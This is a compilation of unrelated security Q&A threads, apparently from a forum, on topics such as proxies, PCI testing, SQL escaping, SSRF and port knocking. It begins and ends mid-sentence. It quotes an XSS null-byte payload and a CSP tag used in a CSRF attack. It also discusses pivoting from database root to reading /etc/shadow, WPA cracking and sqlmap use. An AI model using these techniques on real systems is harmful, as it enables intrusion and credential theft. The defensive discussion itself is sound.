If there is any "super cookie" that a carrier employs or tracking software based on browser fingerprinting (see  panopticlick or amiunique for more details) then you can still be tracked.


Why do I target the proxy server if I send a DDoS attack from it? I once read that if I send a DDoS attack via a proxy (for example with LOIC), I won't target the server I am trying to send a DDoS attack to but I will actually DDoS the proxy server.

Most important question: is this true? And if so, why?

For the record: I don't want to do anything evil :)

In the intended case, the proxy server will forward the attackers flood attack to the target. This means that the proxy experiences as much incoming traffic as the target, plus as much outgoing traffic as the attacker, so the attacker will hit the proxy server twice as hard as the actual target.

However, most proxy servers use caching. This means when the same URL is requested multiple times from the same website (like LOIC does), the proxy will only fetch it once and then serve its local copy without contacting the destination again. In that case the attacker will only consume resources on the proxy, and not on the target site.

In fact, setting up a lean reverse proxy with caching enabled in front of a web application is standard procedure of defending against DDOS attacks. By using a caching proxy server on the client-side, the attacker does that for the target.


Network Scans Find Absent Device Using Nessus (an uncredentialed full scan) and Nmap (essentially a full port scan), I am finding a phantom device. This device is supposed to be a well-out-of-commission device, but is returning a computer name when responding to its old IP address. There are no ports found from Nmap. I have asked the guy to look through his DNS records in case there's an old entry for this thing, but I'm not sure what's going on here.

Why don't you try a nmap -Pn -p 0-65535 scan against the host. The device may not report any ports because it is not responding to pings. Also, is the dns entry there when you perform a nslookup? What happens when you ping -a the phantom device? Can you track the location to a subnet specific to a switch and then look at the stats on the switch? What does the DNS server say about the hostname or address in question?

I don't think you have done enough enumeration.


Going to host a "hidden service", should I "wipe" or edit file metadata? I have made a site that is a hidden service on the Tor network.  I was wondering if there any security risks by leaving metadata untouched for various files including but not limited to stylesheets (CSS), JavaScript, audio files and images. I would prefer if all clients on the website knew as little about me as possible.

If your goal is anonymity then yes. But bear in mind that Tor, using a layered encryption scheme through a number of network, is considerably slower than single layer encryption using a direct connection. Transferring large files slows down the network for all users using the same circuit.

Note that each user that connects to your hidden service uses a different circuit meaning that if you have a lot of users connecting at the same time, downloading large media files the impact can be detrimental to a large subset of the network.

Consequently, some nodes may block others in order to improve availability.


PCI Audit: Using "test" cards I know that the PCI standard does not allow you to use real credit card numbers on test systems.  Visa, Mastercard and Amex supply a list of "test" cards to use.  Makes perfect sense, and we have been doing that.

Now, once everything is setup in production, we often need to test the system before allow clients to use it.  We have a pre-paid Visa card that we do for the final testing.  So this is on our production system, with our payment gateway pointing to the production payment processor.  It is 100% the setting that customers will use.  We want to check descriptors (what shows up on the statement) and just check that everything will work.

Our PCI guy says that this is totally forbidden.  Live credit cards can not be used for testing.  Is this true?  If so, how you do you do your final testing?  Of course any "test" card will fail, as they are not valid cards.  We need the card to work, to check the full user experience.

Ask him how you can ensure your system is working, if you can't run a test with a real card, owned by you.  Also, what's to say you are testing? Maybe you are placing your own order for your usage. ;)

The rule is designed to prevent you from grabbing all your customers' credit card numbers, and trying to use those in your development environment.


Decrypting SSL over a mobile network I work for a large company and we are trying to judge the safety of some proprietary information that is being sent and received in a new application we are developing.

After our initial testing we realized that we could easily do a MitM attack with Fiddler over WiFi in no time in all - leaving a bunch of information in the open. Since then we changed it so that our company's proprietary information can't be sent over WiFi but instead over network only.

So the question is, is it possible for someone to decrypt our HTTPS packets over the mobile network (QXDM Possibly)?

Understandably if they get our private keys they could do it with wireshark but we are going to assume that it wont be the case.

If you know of any methodologies - we would like to test them against our app.

Edit: Adding More Info

It's an Android application that is sending important company information to and from our servers. We are not worried about people losing personal information (someone else listening in for example), we just dont want our company information decrypted (a situation where an end user decrypts our application's https packets). We were able to decrypt it easily using wifi and fiddler (since changed), we need to know what a user can do to decrypt packets that are sent simply over the network between our app and our server.

First things first:

If the app is prone to a mitm via wifi, changing the communication media will not solve the problem. If communication channel was the only change made, i can promptly state that yes, your app is still vulnerable to mitm attacks, the only thing the attacker needs is to have access to the carrier's network (and judging by the way they choose their passwords, i wouldn't say that it would be THAT hard to accomplish to a sufficiently motivated individual...).

One of the ways you can protect the smartphone app is to implement Certificate Pinning. OWASP has a very extensive page about the subject and a more mobile-oriented cheat sheet on the topic.

So, you should not focus your efforts on where your data flows through, because the vulnerability does not depend on that.

Also keep in mind that certificate pinning is not a panacea, as it will not protect you from mitm attacks that target the mobile phone, but it is effective against network-based mitm attacks.

EDIT:

If we forget about proxy interception for a minute, we will talk about pure SSL decryption and it depends on the possible SSL attacks that apply to the established tunnel. You should check the TLS version (SSL should be forbidden) and the supported ciphers. There are LOTS of attacks that target SSL packets for tunnel decryption. Oneof them was discovered a few months from now, the security market became aware of POODLE not only in SSL, but in TLS also. Researchers even found it to be able to exploit TLS v1.2, depending on the ciphers used to establish the encrypted tunnel.

If you are worried about insider threats, a critical concern is the clear text storage of sensitive information. From shared preference files to open sqlite databases, this is one the top mobile vulnerabilities nowadays. Also keep in mind that source code can be trivially reversed, depending on the platform (Android, for example).


Spoofing the identity of another user in Telegram In telegram you can setup a unique public username which is available to anyone in the search option, but if you choose not to do that, the only way someone can identify you is by the name you set (ex. John Doe).

So can a random person just set up an account with the same name (identity) and trick others (who don't know your number) into thinking that they are chatting to you?

Yes.

Every Telegram account has a phone number attached. You can see the attached phone number to check if is the correct one.

If you don't know the phone number of someone, anything can be shown as the avatar and name. Whether or not you trust someone just based on this, without knowing the phone number, is up to you.

The same with an alias. Every account has an alias (@nickname which is different from the name shown). If you know the real one, you can check it. If not, you don't know if is the real person.


Is a public known password protected Wifi more secure than one without a password? When connecting to a public Wifi from a café for example, some don't use a password and some do. If they do use a password it is often publicly known to everybody around.

Does having a password on the network, even though it is publicly known, make it more secure? Secure in the sense that it is harder for others to know what you are doing?

Or do these things depend more on type of Wifi (WEP/WPA), strength of the password, or using SSL?

In a way, yes. If the key is publicly known then it would be trivial to connect to the network but to see what others are doing, the data would have to be captured and then decrypted using the known key versus simply flying around over the air in plain-text as in the case of no password. It is still not secure but then security is just a collection of steps to make the attacker's goal more difficult right?

P.S. don't do anything private from a cafe to begin with - you can't even be sure you're not connecting to someone else's 'fake' hotspot and in that case, not even your SSL sessions are safe.


What is the best book on threat modeling that you've read? I have been involved with developing threat models for several software products and features, and I'd like to formalize this process a little bit and create some documentation for my company's devs. Can you guys recommend a good book that describes all the essential components of building a good threat model?

I've skimmed Window Snyder's book, but didn't find it particularly engaging. I wouldn't expect this to be a 300 page topic, but maybe I'm wrong.

The Art of Software Security Assessment gives a nod to UML class diagrams as a design generalization assessment approach.

For one of the most interesting techniques on this (that Cigital adopted for their "threat-modeling" approach) is from a book called "Applying UML and Patterns", where it covers Architectural Risk Analysis.

Rohit Sethi also started a project for OWASP called "Securing the Core JEE Patterns". It's only a short paper, but definitely the coolest thing I've ever seen in the threat-modeling world.


Does legitimate tech support use remote control software? I'm seeing a lot of tech support scam videos on YouTube, which made me think; do legitimate tech support companies use remote control for regular customer service calls?
I remember calling Lenovo tech support from their website a while back (I double checked it was their official site because I'm paranoid) and they had to use a remote control software to check my PC. I reasoned it was the same as handing over your PC to a repair shop as long as you know it's legitimate.
Now I'm thinking; do they even use this type of software?
What are the security flaws/implications of letting them do it? Is it fine as long as we can see our screen and retain control of the cursor?

Yes, it is normal for legitimate tech support to use remote support tools. It's far easier than trying to blindly walk someone through a complicated series of technical steps. Companies like TeamViewer exist because of this reason.
The risks of the software are:

having a persistent "back door" into a system, but there are security measures in most software to limit this
vulnerabilities in the software that could be exploited by others
a malicious tech support user using legitimate access to create harm

There are several functions in remote support tools besides cursor control that could also create secondary problems, like being able to upload and download files.
As long as all that is enabled is "remote viewing" or "screen share", your risks are limited. The more control you give, the higher your risks.


Does requiring users to fill out a PDF w/ CC information and mail it back violate PCI compliance? I'm attempting to place an order with an American company and I reside outside of America. Upon placing the order (and already submitting payment) I received an email asking me to fill out a PDF document to verify my identity and prevent credit card fraud from foreign credit cards.

This document asks you to fill out your credit card information again, as well as photocopy your government ID as well as the front and back of the credit card. Upon filling that our you are expected to scan the PDF, and send it back.

Surely this cannot be a safe practice. There is no mention of a privacy policy or who has access to the e-mail account it is supposed to be sent to nor does it make mention of archival policies.

Is this a violation of PCI (or similar compliance standards)?

Why don't you ask about their privacy policy? It would be the only way to resolve that aspect of the question.

I would expect your issuing bank or card company are the best people to ask if the request is compliant - they have the knowledge, authority and responsibility, and you can verify their identity. Commentators here at best will be able to refer you to a standards document, which you'll have to read, and then worry if your interpretation is accurate.

As to the practice itself - yes I think it's risky. Weigh it up against how badly you need to buy the product from that supplier. Credit cards can always be cancelled, but there can be lots of information on a government ID that shouldn't be floating around in someone elses data store.


Can you use an android device as a wireless adapter for kali linux? I am experimenting with Kali Linux. I set up Kali in Virtual Box on a mac. I realized that to do WPA/WPA2 cracking I would need a wireless adapter. Before running out to buy one I thought that I might be able to use the usb tethering capabilities of an android phone (Galaxy S4) as a wireless adapter. I managed to get wifi through the phone but I still can't get airodump-ng wlan0mon to give any data.

I was wondering if anyone knows if it's possible to do this and if so how would I set up my phone as a wireless adapter for Kali. I'm not sure if I need to install any drivers and I wouldn't even know which to install since I don't know what wireless card is in S4s.

No, you need a separate wireless card with a chipset that supports monitor mode. (i.e. Alfa, TPlink).

Here is a good resource that shows the Alfa nics BHIS uses.


Root from Database to OS One of my friends rents a VPS on which he runs around 20 websites, some of them for small businesses. He has been having some security issues and has asked me to help assess the vulnerability of his box (I'm just an undergraduate interested in infosec).

I have managed to gain root on the MariaDB database, and am now attempting to get root on the box itself. From what I see, most of the sites run Wordpress, so I figure I can inject some php in a page to print the content of /etc/shadow and from there I can crack the passwords.

My question is is there a better way to pivot from root on the database to root on the box?

From the DB try to get a shell or at command execution. From there you can poke around the whole file system and OS to try to find a way to elevate to root, assuming the DBMS is not running as root.

Since your friend rents the VPS it might be better to just review the configurations and setup and provide input based on that. But trying to get root is fun, so maybe do both. If you get root you can then look at all the configuration and setup to review it.


Can a lock picker slowly undermine the security of a deadbolt door? I have a space for computers secured with a simple deadbolt. Someone keeps coming to pick the lock. While working there, I have scared them away three times.

There are cameras, but not in useful places or all exits and the building manager won't let me run wires for more. I contacted the police, but maybe it is a low priority for them.

With each subsequent visit, does a lock picker gain further progress in undermining the door's ability to keep out? Could they be doing something to the door each time that is getting them closer to being able to open the lock really quickly? Is there anything I can do to stop their ability to pick the lock?

The answer to your question is yes, though whether this will ever actually help them is dependent on the lock and their 'skill'.

With a typical (cylinder?) deadbolt repeated attempts can advance an impressioning attack with a key blank (see tylerl's answer for more detail), if using picking tools the extra visits will improve the feel for the lock and in theory will make the time to pick it quicker, though it should be noted that someone proficient at picking locks is unlikely to need multiple attempts against a simple deadbolt lock.

Lever tumbler locks, as used in some mortise locks, are more time consuming to pick, so fitting one of these (at least 5 levers is generally accepted as necessary) might be a good option. Multiple attempts against this type of lock is likely necessary to develop a successful attack against it so it will give you more opportunities to catch someone.

Restricting access to the lock so that it is more difficult to use lock-picking tools may be effective depending on the lock and installation, generally speaking a key needs less space to operate than lock-picking tools.

But if someone is determined it does not matter what lock you fit, with time and patience any lock can be defeated (eventually)...

Depending on the building layout the door could be bolted from the inside out of hours, so that the only entrances available to the attacker are ones that are covered by the existing camera installation.

It a mortise lock does not discourage them and you cannot bolt from the inside, the refusal to install an additional camera is an implied acceptance of the risk by the building manager - provided that person is authorised to accept the risk there is little more that can be done.

And to add, since this is an information security site, the computers that are behind this potentially insecure door, which is subject to a an observed threat should:

Have strong passwords configured (including BIOS) and never be left logged in;
Disable USB interfaces etc to prevent introduction of malware;
Be configured with full disk encryption so that if the attacker gets in and steals any machines they are of hardware value only;
Store all your backups and removable media somewhere else;
Conduct daily checks to make sure unauthorised hardware has not been installed (packet sniffers, key loggers etc).


PKI usage in a cluster; per application instance or per application? I'm having a cluster with nodes (let's call them A and B for the sake of example) running identical micro services (1, 2 and 3 - so the application 2 running on node A is called A2). The applications with the same numbers are completely identical.

Each application instance (micro service) is accessible via HTTPS.

I wonder what is the best practice to manage the PKI material used for the HTTPS connector of the applications. Can you give some things to consider?

I'm considering the following setups, but can't really decide:

A1, A2, A3, B1, B2, B3 should have their own specific key pairs (per application instance)
A1 and B1, A2 and B2, A3 and B3 pairs should have their shared key pairs (per application)

Every key pair can be signed by a common trusted CA, so that is not an issue here.

Generally speaking, each private key should be unique, and private keys should not travel.

If you have several "applications" that expect HTTPS connections (on port 443, SSL/TLS handshake...) and that run on the same machine, then the application are not, actually, doing the SSL. The SSL is handled by the Web server frontend (say, an Apache or IIS): that frontend does the SSL, then (only then) receives the HTTP request, learns the target path, and thus knows to which application the request shall be dispatched. In that kind of setup, the private key and the certificate are not owned by the applications, but by the frontend. In that model, you would give one private key and certificate per machine.

The paragraph above assumes that your "micro services" really are all registered on a common HTTP+SSL engine, as is expected if they all use the default HTTPS port (443) and the same IP address. You could do otherwise, e.g. run the different services on distinct ports (the connection URL will then have to include the port name), or even on distinct IP addresses (if each machine owns several IP addresses). In that case, each micro service may run its own HTTP+SSL engine, and thus have its own certificate and private key.

There are two main reasons why you would want to make several private keys and certificates:

You want to give certificates to systems that are not equivalent to each other in terms of security, e.g. they belong to distinct customers who do not fully trust (or even know) each other. The idea is that knowing a private key used by a server allows (conceptually) impersonating that server. Similarly, having distinct certificates allows revoking one without revoking the others.
Private keys that travel around are "less private". It is best when private keys are generated on a machine and never leave that machine. Thus, if you have 10 servers, you would want to have (at least) 10 private keys. Moving private keys around safely is doable but requires care (copying over SSH connections should be OK).


Got "Security alert" e-mail from Google about a sign-in from an unknown device I'd like to track down How can I investigate a potential security breach on my Google account that was perpetrated via an unknown device that I do not own?
I just got a horrifying e-mail from Google that seemed to indicate I had been hacked: it led to a webpage stating that there was a "New sign-in on LG Nexus 5". I don't own an LG Nexus 5! I immediately scrambled to change all my passwords to protect myself because I didn't recognize that device, but how could I find out more about it? I was in fact logging into my account recently using a different device, just not a Nexus.

I found out later that in fact the perpetrator was me and that Google had incorrectly identified a Samsung Galaxy Note 4 device of mine as an LG Nexus 5. To confirm this, in the "Security alert" e-mail from no-reply@accounts.google.com, I clicked "CHECK ACTIVITY", which brought up a webpage (the one titled, "New sign-in on LG Nexus 5") where I saw the alleged perpetrator's IPv6 address and the approximate time of the alleged breach. This perfectly matched my own login activity timeframe and my Note 4's IPv6 address as found in Settings | About phone | Status, under the heading, "IP address".

So it appears Google does in fact misidentify certain hardware models when informing you about potential security breaches, and that it's worth investigating the source of each security alert in case it's actually a false alarm like this.

I also found the following post relevant and useful: Google Account Compromised - Possible Investigation?


Computing RSA 1024-bit Decryption Performance I want to be able to tell how many keys per second, using RSA 1024-bit keys, can be checked on a standard Pentium 4 system. How can I use this to determine decryption performance, and possibly remaining time?

Performance really depends on the implementation, the type of processor, the processor clock, and many other factors. The OpenSSL command-line utility includes a benchmark tool. For instance:

$ openssl speed rsa1024
Doing 1024 bit private rsa's for 10s: 2430 1024 bit private RSA's in 9.28s
Doing 1024 bit public rsa's for 10s: 48984 1024 bit public RSA's in 9.92s
OpenSSL 1.0.1 14 Mar 2012
built on: Tue Jul  3 20:15:19 UTC 2012
options:bn(64,32) rc4(8x,mmx) des(ptr,risc1,16,long) aes(partial) blowfish(idx)
compiler: cc -fPIC -DOPENSSL_PIC -DZLIB -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN
-DHAVE_DLFCN_H -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4
-Wformat -Wformat-security -Werror=format-security -D_FORTIFY_SOURCE=2
-Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DOPENSSL_NO_TLS1_2_CLIENT
-DOPENSSL_MAX_TLS1_2_CIPHER_LENGTH=50 -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2
-DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM
-DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
                  sign    verify    sign/s verify/s
rsa 1024 bits 0.003819s 0.000203s    261.9   4937.9

The machine I ran this on is known to be quite slow (it is a low-power VIA C7 x86 clone). A Pentium 4 (which is also a 32-bit system) should run at least as fast as that, but probably not supremely faster (I would be surprised if OpenSSL reached 1000 signatures per second with RSA 1024 on a Pentium 4).

Translating such a figure into application performance is a difficult exercise.


Is there any way track a Andriod phone using IMEI Number I have lost my phone and I have a IMEI number of it. However, the guy removed my SIM card.

Is there any way to track who is using my phone?

Your service provider has a registry with every customer and latest cell id they have visited. In this case the location accuracy depends on the density of cells, usually the radius is something in range of 300-1000 meters. Combining several records, you can triangulate the device location quite accurately.

If the SIM-card is removed and the phone was taken to another network, a.k.a roaming, the location information is only stored by the other service provider. If the sim-card would be in place, the location data would be relayed back to your service provider.

Usually service providers are not interested to give out location data in these cases. It may violate some legistlation, as you could effectively track some other person than yourself, by placing your cell phone into his/hers car etc.. It may also be time consuming for them to dig the databases, so they usually give out this infomation only when requested by the police.

If you happen to remember the MAC address of your phone WiFi-adapter, you could check the DHCP-tables of access points in your area. In the best case, you have some firewall/IDS logs with timestamps. In the best case this will save your day, pinpointing when the device was last seen in the network, even revealing sites visited from the stolen device.


How to perform attack that requires me to set a CSP on a site I do not control? I am reading this blog post about an vulnerability on uber.com. It says that you will have to set a content security policy:

  We’ll set our policy to only allow requests to  partners.uber.com, which will block https://login.uber.com/logout/* Hence a 302 redirect to https://login.uber.com/logout/ will be prevented.

But how can I change the CSP policy of a website I have no control of? The Website Uber is not mine and the author has listed code below showing HTML and Javascript to use. But where should I put the code? I am not allowed to enter HTML or JavaScript, right?

If you read the full blog article that you linked, you will see that it is not just a simple XSS attack. In fact, it is two CSRF attacks and one XSS attack combined.

The content security policy is used in the CSRF part of the attack, on a page controlled by the attacker that they would trick the victim into visiting. This is how any CSRF attacks work. The site in question can be any site on the web, it doesn't matter. The only important part is that you can get the victim to visit it.

So no, you can't change the CSP of a page you don't control. But that is not what the author of the blogpost is suggesting. They are changing it on their own page, using the http-equiv attribute of the meta tag:

<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">

The attack that is described is rather complicated. To understand it better, I suggest you read up on CSRF attacks.


Is there any practical attack on port knocking method? I was wondering, how can I bypass the port knocking method.
Is there any public vulnerability or method for attacking port knocking services?

For example: I know an SSH port is behind a port knocking service,
and I want to find a way to exploit the port knocking service. Any ideas?

I thought it could be bypassed by brute-forcing, but I couldn't find a stable solution.

The basic port knocking method uses a fixed sequence of ports. This method is not protected cryptographically so there are the following attacks possible:

brute-force — If you use the full range of possible ports 1—65535 then even very short knocking sequences give impressive number of combinations to test. For example for 3 knocks with randomly generated sequence it is 65535³ ≈ 2.8×10¹⁴. Another aspect to consider is that the port which will open after the knocking could be unknown so the attacker would have to repeatedly scan the ports during the port knocking attempts. — The number of combinations to try can be lowered if some information about the ports being used is known (for example a subset of ports) or if there is a successful random number generator attack.
Measure against such attacks except securing the mentioned possible vulnerabilities could be disabling of the access from the attacker source IP address after certain number of unsuccessful attempts during certain time period. Unfortunately this makes the system vulnerable to DoS attacks by attacker locking your access by using your IP address as a spoofed source address.
sniffing — The port knocking sequence is not protected cryptographically so an attacker can sniff the successful port knocking sequence. The port knocking sequence could also leak from logs of the destination system itself of from a network monitoring system.
Measure against this attack is use of one-time knocking sequences (analogy of one-time passwords). The one-time sequence could be a hash computed from a secret and some of the following: source IP address, time, event counter etc.
man in the middle — Captured one-time knocking sequences cannot be reused but a port-knocking access can be exploited by a man-in-the-middle attack. The attacker in the path of your communication (possibly redirected) can relay your successful communication, see and modify anything.
The port-knocking itself is performed by one-way communication as such it cannot be protected against MITM. Also the communication following the port knocking must be secured against MITM to retain the security. To ensure this we can use standard encrypted protocols like SSL or SSH.


How would someone execute a Perl script on a webpage? OWASP's XSS Filter Evasion Cheatsheet has a Perl script listed:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

It also says this above it:

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

Does this mean that you can't inject it straight into an input? Or do you have to use Burp Suite or some other tool?

As stated on stackoverflow, the Perl script in this attack vendor serves as "launcher" of the attack, not as part of it. Important part in it is the null byte \0 part, which can theoretically fool the blacklist, as java\0script does not equal javascript. The %00 vendor you have specified is null byte too, however in URL encoded form. It will only work if you find website, that is has vulnerable part of the URL. Burp Proxy can however be used the same way like Perl script, but you're looking for the Hex value to change, rather than injecting \0.


Will my USB modem send my MAC address to my ISP? Will a USB modem send my computer's MAC address to the Internet service provider when I am using it?

I mean, if two computers use the same USB modem will the Internet service provider know that two computers are sharing that modem?

Your computer doesn't have a MAC address on its own, a MAC address is something related to the network adapter. So your USB Modem (I'm assuming you're talking about those 3G/4G USB Modems) has its own IMEI (or MAC address in some cases), and when you use it to connect to the Internet your ISP will see it.

If your ISP doesn't require you to install an application† to use for the connection, then I don't see how they can find out that you're using the same USB Modem on two different computers.

† Such application might gather some data about your computer and come up with a sort-of identifying signature comprised of information about OS installation and/or hardware.


How to use sqlmap to perform SQL injection on a clean URL? I am learning to use sqlmap and came across an application that has Clean URLs. Clean URL example //my url.net/project/public/#questions/question/edit/id/122/answer/1, here MVC framework is used.

How should I perform SQL injection on this application?
I have already followed the answers in Testing clean urls with sqlmap but it was't very useful.

You need to look at the actual HTTP requests that are happening as the page loads. When a page uses an MVC framework, like in your example, there will be Javascript that runs in the browser, which reads the fragment (the part of the URL following the "#"), and makes some ajax requests to load the page's content.

The ajax requests are likely to have parameters that you can attack with sqlmap.

There are many tools you can use to record the ajax requests as the page loads, including Chrome's Developer Tools (press F12 and look at the Network tab), or Burp, ZAP, Fiddler, Firebug, and many others.


HSM (Hardware Security Module) I am implementing a security solution and I would like some recommendations on existing HSM software. If anyone has done a comparison on the existing HSM software and can recommend good and supported ones?

I have seen virtual HSM: https://wiki.openvz.org/Virtual_HSM

Mainly it's all about isolation of secret keys to prevent unauthorized use.

I think the better general term to be used is crypto token like used in PKCS#11 specification.

There are several ways to protect secret keys, ranging from file ownership / permissions and/or key passphrases on the low-end to tamper-proof hardware which automatically deletes the stored keys in case someone is attacking the device with a drilling machine.

Real tamper-proof hardware is pretty expensive and therefore one cannot give a good recommendation without knowing your security requirements and budget.

Taking your term "HSM software" literally I'd recommend to have a look at software implementing PKCS#11 proxy functionality. This allows you to store secret keys on different commodity hardware running with standard OS and then use the key remotely over network. It gives better protection than storing and using secret keys on the same system but is not as secure as real HSMs.


It this a safe way to filter input into an SQL query Is this a safe way to filter strings into an SQL query in java or could this be bypassed? I understand that I should just parameterize everything but this is an ancient code base where it makes more sense to do it myself.

    public static String escapeSQL(String input)
    {
        if (input == null)
            return null;

        return input.replaceAll("'", "\\\\'");
    }

This isn't even remotely close to safe.  There are any number of gotchas:

As pointed out by Anders in a comment, this can be easily bypassed by  injecting in \'.  This works because it escapes your backslash, turning it into a literal backslash and causing the single quote to become unescaped.  Moreover, this is actually a very common thing to attempt during penetration testing - only escaping single quotes is a common mistake, so this is one of the first things I would try as an attacker.
You are dealing with escaping strings, but integer input is more dangerous.  For a query like this: SELECT * FROM table WHERE id=[input], the user input isn't quoted with strings anyway, so an attacker can inject a payload without requiring a single quote, completely escaping your security.  Of course you would defeat this by ensuring that any input used in a condition like the above is actually an integer, but what if you forget to do that somewhere?  What if someone changes the clause to make it an integer but forgets to change the escaping rules?  Stuff like that happens all the time, and it is very easy for code that was secure to become insecure accidentally, without anyone noticing.  The only guard against that is prepared queries.
You've properly accounted for multi-byte characters and differences in character encoding, right?  Because those two edge cases have bitten a number of systems that attempted the simple escaping that you are doing (here is a random example).

There are a few more gotchas, but those are the biggest.  #1 is a deal breaker - your chosen implementation is not at all secure.  #2 is also extremely dangerous and should highlight how easy it is to accidentally introduce SQL injection vulnerabilities if you don't use prepared queries.  So, if you will forgive me for being blunt: you're attempting to secure a system but have missed some critical and well-known gotchas.  That suggests that you might not yet have the experience to come up with your own custom solution.  That's really no big deal though - we're all learning, and we all had to figure this out at some point in time.  Still, it puts things in perspective and suggests one of two options:

You can continue to try to secure this with somewhat hacky solutions.  Now you know that these things are more complicated than you might have originally hoped, so if you go down this path you do so with the knowledge that the risk of an SQL injection vulnerability is high.
Or you can figure out how to get prepared queries in there and be much more safe.

The choice is yours!


Danger of having my website make arbitrary web requests I'm setting up a small code-hosting web site, in the vein of github or bitbucket. I would like to allow users to specify an arbitrary URL from which my site's server will initially clone their repository. I'm using mercurial, so cloning essentially just means negotiating a simple HTTP-based protocol between the client (my server in this case) and the host (the URL that the user has provided).

I don't know all of the details of the mercurial protocol, but it involves making some GET and POST HTTP requests, and specifying some query parameters on the user-provided URL. Other than the URL the user should not have any control over what requests are sent from my site to the URL they specify.

If successful, the interaction with the provided URL will produce a set of files, which will be served from my site, possibly to other users, but not directly, with the exception of images. In other words, if it's an image file, I will serve it, but otherwise it will only be viewable as escaped text.

Are there any security implications I should be aware of with this? I understand I can't serve arbitrary user-provided HTML, Javascript, Flash, etc., and unless there are issue serving arbitrary images that I'm not aware of, I think the serving part should be fine. I'm concerned more about interacting with arbitrary URLs that a user provided.

are issue serving arbitrary images that I'm not aware of

There are actually - Gifars which are a GIF image and JAR file combined.

Regarding your original question, you should validate the URL to check it is a valid format for a http or https URL (i.e. not FTP or another protocol), and you should check that the domain resolves to an external website (i.e. that an attacker hasn't entered an internal IP such as 192.168.1.1 or that DNS resolves to an internal IP which could probe your internal network infrastructure). Make sure that your HTTP request goes to the same IP as the one your validation uses. Also you should lock down your server environment as much as possible so that only the internal servers necessary are contactable on your network.

You should make sure that either HTTP redirects are not followed, or if they are you should execute the same validation on each redirect in the chain. You should also check that there are no redirect loops that could DoS your system, by enforcing a maximum redirect count.

Also you should be aware that attackers could use your service as a proxy. For example, sending SQL injection attacks to other internet servers which would report your service's IP address as the source. You should make sure you log all requests against user IP and account. You could also rate limit based on this data to prevent one user/IP making too many requests, in which case you could validate with a CAPTCHA.


Is there a study on how many websites are saving passwords as plain text? For a research paper about passwords, I am looking for a source that gives an actual estimation on how many websites save their user's passwords as plain text on their servers.

Is there any study that has dealt with the problem of how websites secure their user's passwords?

I do not know about any studies on this but there is a site called "Plain Text Offenders".
This site lists other sites which show signs of plain text password saving (for example, they are able to send your password back if you ask for a new one).


What may a attacker do when they gain have password to my wifi router So, suppose you gain access to my wifi router through some attacks (may be brute-force). After a days or two I changed my wifi password with more complexity. So what can you(a attacker) do to again to gain gain access to the same network?
Will it be possible that the attacker make some configuration in my router and then make it venerable so that he can crack it much much faster and easier the next day.

Assuming the attacker got your WiFi password but NOT your router administration password (they are not the same thing!), then it's unlikely the attacker can do anything to re-establish access to your network.
In theory they could have attacked devices on your network (such as your PC, phone, IoT/"Smart Home", or the router itself) to attempt to leave a "back door". How hard this would be depends on what devices you have on the network, how secure they are inherently against such attacks (phones are generally pretty good, IoT generally very bad), and whether you have given them strong passwords and other security configurations (home routers used to ship with a default password - often just "admin" - for example).
If the attacker got into the router - either because the password was guessable, because it wasn't configured to require one, or because they exploited a pre-auth vulnerability on it - then there's a lot they can do. They could turn on external (remote) management so they can get into it without being on your WiFi, through your Internet connection. They could create a second WiFi network (from the same router, with access to your local network and Internet) and hope you don't notice. They could turn off its firewall. They could potentially even set it to proxy all your Internet traffic through their own computer, on the Internet. What's more, those are just things that might be possible from the official admin interface, but most home routers are vulnerable to command injection attacks allowing an attacker to run arbitrary programs on them. Thus, the attacker could do all sorts of things, including installing a remotely-accessible back door in the router, intercepting all Internet and local traffic on your network, launching attacks against other devices, etc.
Similarly, depending on how secure your other devices on the network are, an attacker could potentially have done lots of other harm. For example, if you have file sharing enabled on your PC, they could potentially have read any files you shared, and maybe overwritten them; if they could overwrite an executable file then they could have arbitrary code running on your PC now.
Additionally, they could in theory have done some harm to you by abusing your Internet connection. For example, downloading pirated media (they don't care if you get sued or your ISP cuts your connection) or even doing criminal stuff like launching attacks on other sites or dealing in child porn or similar (they don't care if you get arrested; it's just cover for them).

Realistically, though, they were probably just somebody who wanted Internet access for, at worst, watching porn they don't want their dad to see in their own router logs, or something. They might have noticed any other devices that were advertising file shares or similar, maybe even tried some obvious password guesses (such as "the same as the WiFi password"; never reuse passwords) but the odds of them actually trying to leave backdoors or commit other crimes is pretty low.


why blocking incoming traffic does not block chatting or VOIP I just recently blocked all incoming traffic(all local ports and all external ips) in my windows 7 firewall and I understand that will not stop me from accessing websites as browsing needs outbound connection. That was fine with me.

However, though I'm not able to access any shared files or rdp to this computer from local networks, I find I can VOIP or chat in Internet. I wonder how it's possible.

According to my understanding, to send messages we need incoming ports open which I have blocked then why I can still chat or VOIP.

Most communication nowadays is done via remote servers. So clients connect to a central server and the server manages communication between clients. Blocking listening ports with a firewall will not stop this communication.

But some services require direct (Peer to Peer) communication for decreased latency and increased bandwidth. VoIP and other services can still communicate without having local ports open.

By combining the client-server model with the P2P model, new ways of establishing connections were invented:

  UDP hole punching is a commonly used technique employed in network
  address translator (NAT) applications for maintaining User Datagram
  Protocol (UDP) packet streams that traverse the NAT. NAT traversal
  techniques are typically required for client-to-client networking
  applications on the Internet involving hosts connected in private
  networks, especially in peer-to-peer and Voice over Internet Protocol
  (VoIP) deployments.

  TCP hole punching is a commonly used NAT traversal technique, for
  sending 2-way messages between nodes in an Internet computer network.
  The term "NAT traversal" is a general term for techniques that
  establish and maintain TCP/IP network and/or TCP connections
  traversing network-address-translation (NAT) gateways.

  STUN (Session Traversal Utilities for NAT) is a standardized set of
  methods and a network protocol to allow an end host to discover its
  public IP address if it is located behind a NAT. It is used to permit
  NAT traversal for applications of real-time voice, video, messaging,
